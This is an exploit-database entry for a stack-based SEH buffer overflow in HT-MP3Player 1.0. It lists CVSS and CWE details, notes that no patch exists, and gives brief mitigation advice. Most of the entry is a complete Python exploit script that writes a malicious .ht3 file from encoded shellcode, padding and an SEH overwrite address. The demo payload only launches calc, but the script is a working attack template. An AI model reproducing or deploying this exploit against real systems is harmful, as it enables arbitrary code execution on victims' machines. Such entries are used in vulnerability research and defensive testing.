HT-MP3Player 1.0 (.ht3) Universal Buffer Overflow (SEH)

vendor:

HT-MP3Player

by:

hack4love <= (friend), His0k4

7.5

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: HT-MP3Player

Affected Version From: 1

Affected Version To: 1

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Windows XP Pro SP3 (EN)

Unknown

HT-MP3Player 1.0 (.ht3) Universal Buffer Overflow (SEH)

The HT-MP3Player 1.0 (.ht3) application is vulnerable to a universal buffer overflow, specifically a stack-based buffer overflow. This vulnerability can be exploited to execute arbitrary code by crafting a malicious .ht3 file and triggering the overflow. The exploit takes advantage of a SEH (Structured Exception Handler) overwrite to gain control of program execution flow. The payload used in the exploit is a shellcode that executes the 'calc' program. This exploit has been tested on Windows XP Pro SP3 (EN).

Mitigation:

To mitigate this vulnerability, users should avoid opening or playing untrusted .ht3 files from unknown sources. It is recommended to update to a patched version of HT-MP3Player if available.

Source

Exploit-DB raw data:

#usage: exploit.py
print "**************************************************************************"
print " HT-MP3Player 1.0 (.ht3) Universal Buffer Overflow (SEH)\n"
print " Original author: hack4love<=(my friend)\n"
print " Universal exploit : His0k4\n"
print " Tested on: Windows XP Pro SP3 (EN)\n"
print " greetz: All friends (DZ),sec-r1z.com\n"
print "**************************************************************************"
   
# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode=(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34"
"\x42\x50\x42\x30\x42\x50\x4b\x38\x45\x44\x4e\x53\x4b\x48\x4e\x47"
"\x45\x30\x4a\x57\x41\x50\x4f\x4e\x4b\x48\x4f\x54\x4a\x31\x4b\x38"
"\x4f\x55\x42\x32\x41\x30\x4b\x4e\x49\x54\x4b\x58\x46\x33\x4b\x48"
"\x41\x30\x50\x4e\x41\x53\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c"
"\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x43\x46\x45\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x58"
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x36\x4b\x48\x4e\x50\x4b\x44"
"\x4b\x58\x4f\x55\x4e\x51\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x48"
"\x41\x30\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x30\x43\x4c\x41\x53"
"\x42\x4c\x46\x46\x4b\x58\x42\x54\x42\x33\x45\x58\x42\x4c\x4a\x57"
"\x4e\x30\x4b\x58\x42\x34\x4e\x50\x4b\x48\x42\x37\x4e\x51\x4d\x4a"
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x30\x4b\x48\x42\x38\x42\x4b"
"\x42\x30\x42\x30\x42\x30\x4b\x58\x4a\x46\x4e\x43\x4f\x55\x41\x43"
"\x48\x4f\x42\x46\x48\x45\x49\x58\x4a\x4f\x43\x38\x42\x4c\x4b\x47"
"\x42\x35\x4a\x46\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39"
"\x50\x4f\x4c\x58\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x46\x41\x56"
"\x4e\x56\x43\x46\x42\x50\x5a")

payload =  "D_Z"   
payload += shellcode
payload += "\x41"*(4100-len(shellcode))
payload += "\xE9\xF7\xEF\xFF\xFF"
payload += "\x74\xF9\x42\x42"
payload += "\x8C\x27\x40\x00" #p/p/r HTMP3Player.exe

try:
    out_file = open("exploit.ht3",'w')
    out_file.write(payload)
    out_file.close()
    raw_input("\nExploit file created!\n")
except:
    print "Error"

# milw0rm.com [2009-06-29]